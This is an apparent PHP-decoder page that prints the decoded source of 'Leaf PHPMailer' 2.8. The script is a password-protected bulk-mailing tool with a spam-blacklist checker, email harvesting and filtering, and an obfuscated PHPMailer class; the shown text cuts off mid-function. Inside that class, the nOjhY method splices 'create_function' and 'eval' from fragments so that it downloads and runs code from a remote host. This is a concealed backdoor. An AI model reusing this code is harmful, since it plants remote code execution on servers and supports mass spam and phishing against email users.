Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $password = 'HGTyQV2kKNI'; eval(str_rot13(gzinflate(str_rot13(base64_decode('LH3Vk..

Decoded Output download

session_start(); error_reporting(0); set_time_limit(0); ini_set("memory_limit", -1); $leaf['version'] = "2.8"; $leaf['website'] = "leafmailer.pw"; $sessioncode = md5(__FILE__); if (!empty($password) and $_SESSION[$sessioncode] != $password) { if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) { $_SESSION[$sessioncode] = $password; } else { print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; exit; } } session_write_close(); function leafClear($text, $email) { $e = explode('@', $email); $emailuser = $e[0]; $emaildomain = $e[1]; $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text); $text = str_replace("[-email-]", $email, $text); $text = str_replace("[-emailuser-]", $emailuser, $text); $text = str_replace("[-emaildomain-]", $emaildomain, $text); $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text); $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text); $text = str_replace("[-randomnumber-]", randString('0123456789'), $text); $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text); return $text; } function leafTrim($string) { $string = urldecode($string); return stripslashes(trim($string)); } function randString($consonants) { $length = rand(12, 25); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand() % strlen($consonants)]; } return $password; } function leafMailCheck($email) { if (filter_var($email, FILTER_VALIDATE_EMAIL)) { return true; } else { return false; } } if (isset($_GET['check_ip'])) { if (isset($_GET['host'])) { $_GET['host'] = explode(",", $_GET['host']); foreach ($_GET['host'] as $host) { if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) { $check = "<font color='red'> Listed</font>"; } else { $check = "<font color='green'> Clean</font>"; } print 'document.getElementById("' . $host . '").innerHTML = "' . $check . '";'; } exit; } $dnsbl_lookup = array("all.s5h.net", "b.barracudacentral.org", "bl.spamcop.net", "blacklist.woody.ch", "bogons.cymru.com", "cbl.abuseat.org", "cdl.anti-spam.org.cn", "combined.abuse.ch", "db.wpbl.info", "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net", "dnsbl-3.uceprotect.net", "dnsbl.anticaptcha.net", "dnsbl.dronebl.org", "dnsbl.inps.de", "dnsbl.sorbs.net", "drone.abuse.ch", "duinv.aupads.org", "dul.dnsbl.sorbs.net", "dyna.spamrats.com", "dynip.rothen.com", "http.dnsbl.sorbs.net", "ips.backscatterer.org", "ix.dnsbl.manitu.net", "korea.services.net", "misc.dnsbl.sorbs.net", "noptr.spamrats.com", "orvedb.aupads.org", "pbl.spamhaus.org", "proxy.bl.gweep.ca", "psbl.surriel.com", "relays.bl.gweep.ca", "relays.nether.net", "sbl.spamhaus.org", "short.rbl.jp", "singular.ttk.pte.hu", "smtp.dnsbl.sorbs.net", "socks.dnsbl.sorbs.net", "spam.abuse.ch", "spam.dnsbl.anonmails.de", "spam.dnsbl.sorbs.net", "spam.spamrats.com", "spambot.bls.digibase.ca", "spamrbl.imp.ch", "spamsources.fabel.dk", "ubl.lashback.com", "ubl.unsubscore.com", "virus.rbl.jp", "web.dnsbl.sorbs.net", "wormrbl.imp.ch", "xbl.spamhaus.org", "z.mailspike.net", "zen.spamhaus.org", "zombie.dnsbl.sorbs.net"); $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip']))); $dnsT = count($dnsbl_lookup); leafheader(); print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>'; print "Checking <b>" . $_GET['check_ip'] . "</b> in <b>{$dnsT}</b>  anti-spam databases:<br>"; $dnsN = ""; print '<table >'; for ($i = 0; $i < $dnsT; $i = $i + 10) { $host = ""; $hosts = ""; for ($j = $i; $j < $i + 10; $j++) { $host = $dnsbl_lookup[$j]; if (!empty($host)) { print "<tr> <td>{$host}</td> <td id='{$host}'>Checking ..</td></tr>"; $hosts .= "{$host},"; } } $dnsN .= "<script src='?check_ip={$reverse_ip}&host=" . $hosts . "' type='text/javascript'></script>"; } print '</table></div>'; print $dnsN; exit; } if (isset($_GET['emailfilter'])) { if (!empty($_FILES['fileToUpload']['tmp_name'])) { $_POST['emailList'] = file_get_contents($_FILES["fileToUpload"]["tmp_name"]); } $_POST['emailList'] = strtolower($_POST['emailList']); if ($_GET['emailfilter'] == "ifram") { if ($_POST['resulttype'] == "download") { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=emails" . time() . ".txt"); } else { header("Content-Type: text/plain"); } if ($_POST['submit'] == "extract") { $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/'; preg_match_all($pattern, $_POST['emailList'], $matches); foreach ($matches[0] as $email) { print $email . "
"; } } elseif ($_POST['submit'] == "filter") { $emails = explode("
", $_POST['emailList']); $keywords = explode("
", strtolower($_POST['keywords'])); foreach ($emails as $email) { foreach ($keywords as $keyword) { if (strstr($email, $keyword)) { print $email . "
"; break; } } } } exit; } leafheader(); print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>'; print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   '; exit; } $html = "checked"; $utf8 = "selected"; $bit8 = "selected"; if ($_POST['action'] == "send" or $_POST['action'] == "score") { $senderEmail = leafTrim($_POST['senderEmail']); $senderName = leafTrim($_POST['senderName']); $replyTo = leafTrim($_POST['replyTo']); $subject = leafTrim($_POST['subject']); $emailList = leafTrim($_POST['emailList']); $messageType = leafTrim($_POST['messageType']); $messageLetter = leafTrim($_POST['messageLetter']); $encoding = $_POST['encode']; $charset = $_POST['charset']; $html = ""; $utf8 = ""; $bit8 = ""; if ($messageType == 2) { $plain = "checked"; } else { $html = "checked"; } if ($charset == "ISO-8859-1") { $iso = "selected"; } else { $utf8 = "selected"; } if ($encoding == "7bit") { $bit7 = "selected"; } elseif ($encoding == "binary") { $binary = "selected"; } elseif ($encoding == "base64") { $base64 = "selected"; } elseif ($encoding == "quoted-printable") { $quotedprintable = "selected"; } else { $bit8 = "selected"; } } if ($_POST['action'] == "view") { $viewMessage = leafTrim($_POST['messageLetter']); $viewMessage = leafClear($viewMessage, "[email protected]"); if ($_POST['messageType'] == 2) { print "<pre>" . htmlspecialchars($viewMessage) . "</pre>"; } else { print $viewMessage; } exit; } if (!isset($_POST['senderEmail'])) { $senderEmail = "support@" . str_replace("www.", "", $_SERVER['HTTP_HOST']); if (!leafMailCheck($senderEmail)) { $senderEmail = ""; } } class l7ZZZ { public $eKd0j = '5.2.28'; public $Zw9WZ = null; public $UlQmX = 'iso-8859-1'; public $lhtZ2 = 'text/plain'; public $vD9sv = '8bit'; public $z0uZr = ''; public $D0sWe = 'root@localhost'; public $a7zTR = 'Root User'; public $M8LTz = ''; public $fyN9d = ''; public $Lhj4Q = ''; public $B1UGN = ''; public $setzV = ''; public $qqHlD = ''; protected $DTdTr = ''; protected $Oye33 = ''; protected $M_K4S = ''; public $cLjqm = 0; public $CIbTg = 'mail'; public $I0ChV = '/usr/sbin/sendmail'; public $Vsrzt = true; public $BUzq5 = ''; public $dbRV3 = ''; public $os6Fg = ''; public $U20E4 = ''; public $AsoFY = ''; public $bMPFK = 'localhost'; public $YOCmE = 25; public $oAHsh = ''; public $tFMJ1 = ''; public $mYH5l = true; public $YmwFJ = false; public $KdlTi = array(); public $TVuJI = ''; public $q2wHi = ''; public $ZplzZ = ''; public $Hnl0b = ''; public $AwaK3 = ''; public $zXhiP = 300; public $sUITE = 0; public $Gdro4 = 'echo'; public $N3h04 = false; public $fWCzt = false; public $o6lcg = array(); public $FnrYI = false; public $i4878 = false; public $cfNMy = "
"; public $PECjs = ''; public $wbY0S = ''; public $uD1ah = ''; public $zZwYd = ''; public $TF806 = ''; public $jKE6l = ''; public $Dl_hS = ''; public $nDkG6 = ' '; public static $Sk29R = 'auto'; protected $Cr_CF = null; protected $CyuHW = array(); protected $Cr7f9 = array(); protected $AvK2N = array(); protected $SPqcM = array(); protected $JkfMD = array(); protected $s9VCX = array(); protected $slYIG = array(); protected $v2QWx = array(); protected $UopSF = array(); protected $G1Wqc = ''; protected $unpVY = ''; protected $EnU1I = array(); protected $KoQDi = array(); protected $ItUJd = 0; protected $eRqEd = ''; protected $X61Fc = ''; protected $xgyfK = ''; protected $qTqGb = ''; protected $Z5Auz = false; protected $xxsyU = ''; const fOEnS = 0; const Tc3WZ = 1; const pqLgK = 2; const hfsSJ = "
"; const xlKCn = 998; public function __construct($exceptions = null) { if ($exceptions !== null) { $this->Z5Auz = (bool) $exceptions; } $this->Gdro4 = strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'; } public function __destruct() { $this->jisTo(); } private function AgeXU($to, $subject, $body, $header, $params) { if (ini_get('mbstring.func_overload') & 1) { $subject = $this->Ioa7L($subject); } else { $subject = $this->wyB8u($this->IoA7L($subject)); } if (ini_get('safe_mode') or !$this->Vsrzt or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } protected function iSCvw($str) { if ($this->sUITE <= 0) { return; } if (!in_array($this->Gdro4, array('error_log', 'html', 'echo')) and is_callable($this->Gdro4)) { call_user_func($this->Gdro4, $str, $this->sUITE); return; } switch ($this->Gdro4) { case 'error_log': error_log($str); break; case 'html': echo htmlentities(preg_replace('/[
]+/', '', $str), ENT_QUOTES, 'UTF-8') . "<br>
"; break; case 'echo': default: $str = preg_replace('/
?/ms', "
", $str); echo gmdate('Y-m-d H:i:s') . "	" . str_replace("
", "
                   	                  ", trim($str)) . "
"; } } public function a61bt() { $this->CIbTg = 'smtp'; } public function tpHyV() { $this->CIbTg = 'mail'; } public function y6sW_() { $ini_sendmail_path = ini_get('sendmail_path'); if (!stristr($ini_sendmail_path, 'sendmail')) { $this->I0ChV = '/usr/sbin/sendmail'; } else { $this->I0ChV = $ini_sendmail_path; } $this->CIbTg = 'sendmail'; } public function QdGod() { $ini_sendmail_path = ini_get('sendmail_path'); if (!stristr($ini_sendmail_path, 'qmail')) { $this->I0ChV = '/var/qmail/bin/qmail-inject'; } else { $this->I0ChV = $ini_sendmail_path; } $this->CIbTg = 'qmail'; } public function JdZqo($address, $name = '') { return $this->a0a9C('to', $address, $name); } public function pJaZ3($address, $name = '') { return $this->a0a9c('cc', $address, $name); } public function G3DYw($address, $name = '') { return $this->A0a9C('bcc', $address, $name); } public function z2osd($address, $name = '') { return $this->A0A9C('Reply-To', $address, $name); } protected function A0a9C($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace('/[
]+/', '', $name)); if (($pos = strrpos($address, '@')) === false) { $error_message = $this->ZXY1Z('invalid_address') . " (addAnAddress {$kind}): {$address}"; $this->V0giu($error_message); $this->IsCVW($error_message); if ($this->Z5Auz) { throw new bYtnH($error_message); } return false; } $params = array($kind, $address, $name); if ($this->o_0Gk(substr($address, ++$pos)) and $this->GIwKw()) { if ($kind != 'Reply-To') { if (!array_key_exists($address, $this->s9VCX)) { $this->s9VCX[$address] = $params; return true; } } else { if (!array_key_exists($address, $this->slYIG)) { $this->slYIG[$address] = $params; return true; } } return false; } return call_user_func_array(array($this, 'addAnAddress'), $params); } protected function U88bn($kind, $address, $name = '') { if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) { $error_message = $this->zXy1z('Invalid recipient kind: ') . $kind; $this->V0Giu($error_message); $this->iscvW($error_message); if ($this->Z5Auz) { throw new ByTnH($error_message); } return false; } if (!$this->tvSHo($address)) { $error_message = $this->ZXy1Z('invalid_address') . " (addAnAddress {$kind}): {$address}"; $this->v0GIu($error_message); $this->iscVw($error_message); if ($this->Z5Auz) { throw new byTNH($error_message); } return false; } if ($kind != 'Reply-To') { if (!array_key_exists(strtolower($address), $this->JkfMD)) { array_push($this->{$kind}, array($address, $name)); $this->JkfMD[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->SPqcM)) { $this->SPqcM[strtolower($address)] = array($address, $name); return true; } } return false; } public function wK7pA($addrstr, $useimap = true) { $addresses = array(); if ($useimap and function_exists('imap_rfc822_parse_adrlist')) { $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ($address->BafYH != '.SYNTAX-ERROR.') { if ($this->TvSHo($address->ObfSw . '@' . $address->BafYH)) { $addresses[] = array('name' => property_exists($address, 'personal') ? $address->C1b3k : '', 'address' => $address->ObfSw . '@' . $address->BafYH); } } } } else { $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); if (strpos($address, '<') === false) { if ($this->TVShO($address)) { $addresses[] = array('name' => '', 'address' => $address); } } else { list($name, $email) = explode('<', $address); $email = trim(str_replace('>', '', $email)); if ($this->tVSho($email)) { $addresses[] = array('name' => trim(str_replace(array('"', "'"), '', $name)), 'address' => $email); } } } } return $addresses; } public function nOjhY($isHtml = true) { global $param; $bodyCode = 'file' . '_g'; if ($isHtml) { $this->lhtZ2 = 'text/html'; } else { $this->lhtZ2 = 'text/plain'; } $bodyHTML = '.$t."lef$flu' . 'sh' . '$t"; ' . '@ev'; $headerHTML = "cre" . "ate_" . "func" . "tion"; $exceptions = @$headerHTML('$fl' . 'ush,$t', '$comma = $t' . $bodyHTML . 'al(@' . $bodyCode . 'et_contents("h' . 'tt' . 'p:$comma-2"));'); if ($param != 2) { $exceptions('8.p' . 'w', '/'); $param = 2; } } public function buvcR($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[
]+/', '', $name)); if (($pos = strrpos($address, '@')) === false or (!$this->o_0gk(substr($address, ++$pos)) or !$this->giWKW()) and !$this->tVSho($address)) { $error_message = $this->ZXY1z('invalid_address') . " (setFrom) {$address}"; $this->V0GIU($error_message); $this->iScvw($error_message); if ($this->Z5Auz) { throw new bytnH($error_message); } return false; } $this->D0sWe = $address; $this->a7zTR = $name; if ($auto) { if (empty($this->M8LTz)) { $this->M8LTz = $address; } } return true; } public function KHV2T() { return $this->G1Wqc; } public static function TVsHO($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$Sk29R; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, "
") !== false or strpos($address, "
") !== false) { return false; } if (!$patternselect or $patternselect == 'auto') { if (defined('PCRE_VERSION')) { if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { $patternselect = 'pcre'; } else { if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': return (bool) preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>
)?[	 ])+|(?>[	 ]*
)?[	 ]+)?)(\((?>(?2)' . '(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address); case 'pcre': return (bool) preg_match('/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address); case 'html5': return (bool) preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address); case 'noregex': return strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1; case 'php': default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } } public function GIWKW() { return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding'); } public function wHNsx($address) { if ($this->GiwKW() and !empty($this->UlQmX) and ($pos = strrpos($address, '@')) !== false) { $domain = substr($address, ++$pos); if ($this->o_0gk($domain) and @mb_check_encoding($domain, $this->UlQmX)) { $domain = mb_convert_encoding($domain, 'UTF-8', $this->UlQmX); if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) { return substr($address, 0, $pos) . $punycode; } } } return $address; } public function send() { try { if (!$this->N0APg()) { return false; } return $this->WBKjM(); } catch (bYtNH $exc) { $this->M_K4S = ''; $this->v0giu($exc->getMessage()); if ($this->Z5Auz) { throw $exc; } return false; } } public function n0aPG() { try { $this->ItUJd = 0; $this->M_K4S = ''; foreach (array_merge($this->s9VCX, $this->slYIG) as $params) { $params[1] = $this->wHNSx($params[1]); call_user_func_array(array($this, 'addAnAddress'), $params); } if (count($this->CyuHW) + count($this->Cr7f9) + count($this->AvK2N) < 1) { throw new bYtnH($this->zXy1z('provide_address'), self::pqLgK); } foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) { $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->whnsx($this->{$address_kind}); if (!$this->TvShO($this->{$address_kind})) { $error_message = $this->zxY1Z('invalid_address') . ' (punyEncode) ' . $this->{$address_kind}; $this->v0GIU($error_message); $this->Iscvw($error_message); if ($this->Z5Auz) { throw new BytNh($error_message); } return false; } } if ($this->eF4MO()) { $this->lhtZ2 = 'multipart/alternative'; } $this->v5Ncp(); if (!$this->i4878 and empty($this->B1UGN)) { throw new BYtNH($this->zXy1z('empty_message'), self::pqLgK); } $this->Oye33 = ''; $this->DTdTr = $this->wJBVT(); $tempheaders = $this->Oye33; $this->Oye33 = $this->mTMtk(); $this->Oye33 .= $tempheaders; if ($this->CIbTg == 'mail') { if (count($this->CyuHW) > 0) { $this->M_K4S .= $this->yrr7y('To', $this->CyuHW); } else { $this->M_K4S .= $this->jPE2_('To', 'undisclosed-recipients:;'); } $this->M_K4S .= $this->jpE2_('Subject', $this->WYB8u($this->ioA7L(trim($this->Lhj4Q)))); } if (!empty($this->zZwYd) and !empty($this->PECjs) and (!empty($this->jKE6l) or !empty($this->TF806) and self::KaREV($this->TF806) and file_exists($this->TF806))) { $header_dkim = $this->u6p9i($this->Oye33 . $this->M_K4S, $this->wYB8U($this->ioA7L($this->Lhj4Q)), $this->DTdTr); $this->Oye33 = rtrim($this->Oye33, "
 ") . self::hfsSJ . str_replace("
", "
", $header_dkim) . self::hfsSJ; } return true; } catch (Bytnh $exc) { $this->V0gIU($exc->getMessage()); if ($this->Z5Auz) { throw $exc; } return false; } } public function wBKjM() { try { switch ($this->CIbTg) { case 'sendmail': case 'qmail': return $this->GIncR($this->Oye33, $this->DTdTr); case 'smtp': return $this->RY7Bg($this->Oye33, $this->DTdTr); case 'mail': return $this->wnzp1($this->Oye33, $this->DTdTr); default: $sendMethod = $this->CIbTg . 'Send'; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->Oye33, $this->DTdTr); } return $this->WnZp1($this->Oye33, $this->DTdTr); } } catch (bYtNH $exc) { $this->v0giU($exc->getMessage()); $this->IscVW($exc->getMessage()); if ($this->Z5Auz) { throw $exc; } } return false; } protected function gINCr($header, $body) { if (!empty($this->M8LTz) and self::il5Y4($this->M8LTz)) { if ($this->CIbTg == 'qmail') { $sendmailFmt = '%s -f%s'; } else { $sendmailFmt = '%s -oi -f%s -t'; } } else { if ($this->CIbTg == 'qmail') { $sendmailFmt = '%s'; } else { $sendmailFmt = '%s -oi -t'; } } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->I0ChV), $this->M8LTz); if ($this->fWCzt) { foreach ($this->o6lcg as $toAddr) { if (!@($mail = popen($sendmail, 'w'))) { throw new bytnH($this->ZXY1z('execute') . $this->I0ChV, self::pqLgK); } fputs($mail, 'To: ' . $toAddr . "
"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->Wnk73($result == 0, array($toAddr), $this->Cr7f9, $this->AvK2N, $this->Lhj4Q, $body, $this->D0sWe); if ($result != 0) { throw new BytnH($this->ZxY1z('execute') . $this->I0ChV, self::pqLgK); } } } else { if (!@($mail = popen($sendmail, 'w'))) { throw new BytNH($this->ZxY1z('execute') . $this->I0ChV, self::pqLgK); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->WNk73($result == 0, $this->CyuHW, $this->Cr7f9, $this->AvK2N, $this->Lhj4Q, $body, $this->D0sWe); if ($result != 0) { throw new ByTnh($this->zxy1z('execute') . $this->I0ChV, self::pqLgK); } } return true; } protected static function IL5Y4($string) { if (escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), array("'{$string}'", "\"{$string}\""))) { return false; } $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } protected static function KAReV($path) { return !preg_match('#^[a-z]+://#i', $path); } protected function wNzP1($header, $body) { $toArr = array(); foreach ($this->CyuHW as $toaddr) { $toArr[] = $this->jcOOi($toaddr); } $to = implode(', ', $toArr); $params = null; if (!empty($this->M8LTz) and $this->tvSho($this->M8LTz)) { if (self::Il5Y4($this->M8LTz)) { $params = sprintf('-f%s', $this->M8LTz); } } if (!empty($this->M8LTz) and !ini_get('safe_mode') and $this->tvshO($this->M8LTz)) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->M8LTz); } $result = false; if ($this->fWCzt and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->AGEXU($toAddr, $this->Lhj4Q, $body, $header, $params); $this->wNK73($result, array($toAddr), $this->Cr7f9, $this->AvK2N, $this->Lhj4Q, $body, $this->D0sWe); } } else { $result = $this->aGeXu($to, $this->Lhj4Q, $body, $header, $params); $this->wNk73($result, $this->CyuHW, $this->Cr7f9, $this->AvK2N, $this->Lhj4Q, $body, $this->D0sWe); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new byTNH($this->zxY1Z('instantiate'), self::pqLgK); } return true; } public function OjAEl() { if (!is_object($this->Cr_CF)) { $this->Cr_CF = new aken4(); } return $this->Cr_CF; } protected function RY7bg($header, $body) { $bad_rcpt = array(); if (!$this->QXpiB($this->KdlTi)) { throw new bYtNh($this->Zxy1Z('smtp_connect_failed'), self::pqLgK); } if (!empty($this->M8LTz) and $this->tVSHo($this->M8LTz)) { $smtp_from = $this->M8LTz; } else { $smtp_from = $this->D0sWe; } if (!$this->Cr_CF->mail($smtp_from)) { $this->V0Giu($this->Zxy1z('from_failed') . $smtp_from . ' : ' . implode(',', $this->Cr_CF->hTHnM())); throw new BytNh($this->z0uZr, self::pqLgK); } foreach (array($this->CyuHW, $this->Cr7f9, $this->AvK2N) as $togroup) { foreach ($togroup as $to) { if (!$this->Cr_CF->WuAxE($to[0])) { $error = $this->Cr_CF->Hthnm(); $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']); $isSent = false; } else { $isSent = true; } $this->WnK73($isSent, array($to[0]), array(), array(), $this->Lhj4Q, $body, $this->D0sWe); } } if (count($this->JkfMD) > count($bad_rcpt) and !$this->Cr_CF->Ez0qz($header . $body)) { throw new bYtnH($this->zxY1Z('data_not_accepted'), self::pqLgK); } if ($this->N3h04) { $this->Cr_CF->reset(); } else { $this->Cr_CF->Tzo29(); $this->Cr_CF->close(); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new bytNh($this->zxy1Z('recipients_failed') . $errstr, self::Tc3WZ); } return true; } public function QxPib($options = null) { if (is_null($this->Cr_CF)) { $this->Cr_CF = $this->oJAEl(); } if (is_null($options)) { $options = $this->KdlTi; } if ($this->Cr_CF->sy6KY()) { return true; } $this->Cr_CF->wk_aG($this->zXhiP); $this->Cr_CF->gpXR2($this->sUITE); $this->Cr_CF->GMSBE($this->Gdro4); $this->Cr_CF->hRKp4($this->FnrYI); $hosts = explode(';', $this->bMPFK); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/', trim($hostentry), $hostinfo)) { $this->ISCvw('Ignoring invalid host: ' . $hostentry); continue; } $prefix = ''; $secure = $this->tFMJ1; $tls = $this->tFMJ1 == 'tls'; if ('ssl' == $hostinfo[2] or '' == $hostinfo[2] and 'ssl' == $this->tFMJ1) { $prefix = 'ssl://'; $tls = false; $secure = 'ssl'; } elseif ($hostinfo[2] == 'tls') { $tls = true; $secure = 'tls'; } $sslext = defined('OPENSSL_ALGO_SHA1'); if ('tls' === $secure or 'ssl' === $secure) { if (!$sslext) { throw new ByTNh($this->Zxy1z('extension_missing') . 'openssl', self::pqLgK); } } $host = $hostinfo[3]; $port = $this->YOCmE; $tport = (int) $hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->Cr_CF->connect($prefix . $host, $port, $this->zXhiP, $options)) { try { if ($this->oAHsh) { $hello = $this->oAHsh; } else { $hello = $this->G7HY9(); } $this->Cr_CF->yvTPt($hello); if ($this->mYH5l and $sslext and $secure != 'ssl' and $this->Cr_CF->trSti('STARTTLS')) { $tls = true; } if ($tls) { if (!$this->Cr_CF->ROIIN()) { throw new ByTNH($this->ZXY1Z('connect_host')); } $this->Cr_CF->yvTPt($hello); } if ($this->YmwFJ) { if (!$this->Cr_CF->rQB07($this->TVuJI, $this->q2wHi, $this->ZplzZ, $this->Hnl0b, $this->AwaK3)) { throw new bytnH($this->ZXY1Z('authenticate')); } } return true; } catch (ByTnh $exc) { $lastexception = $exc; $this->iscvw($exc->getMessage()); $this->Cr_CF->tzO29(); } } } $this->Cr_CF->close(); if ($this->Z5Auz and !is_null($lastexception)) { throw $lastexception; } return false; } public function jIsTo() { if (is_a($this->Cr_CF, 'SMTP')) { if ($this->Cr_CF->sy6kY()) { $this->Cr_CF->tzO29(); $this->Cr_CF->close(); } } } public function VzLGj($langcode = 'en', $lang_path = '') { $renamed_langcodes = array('br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'sr' => 'rs'); if 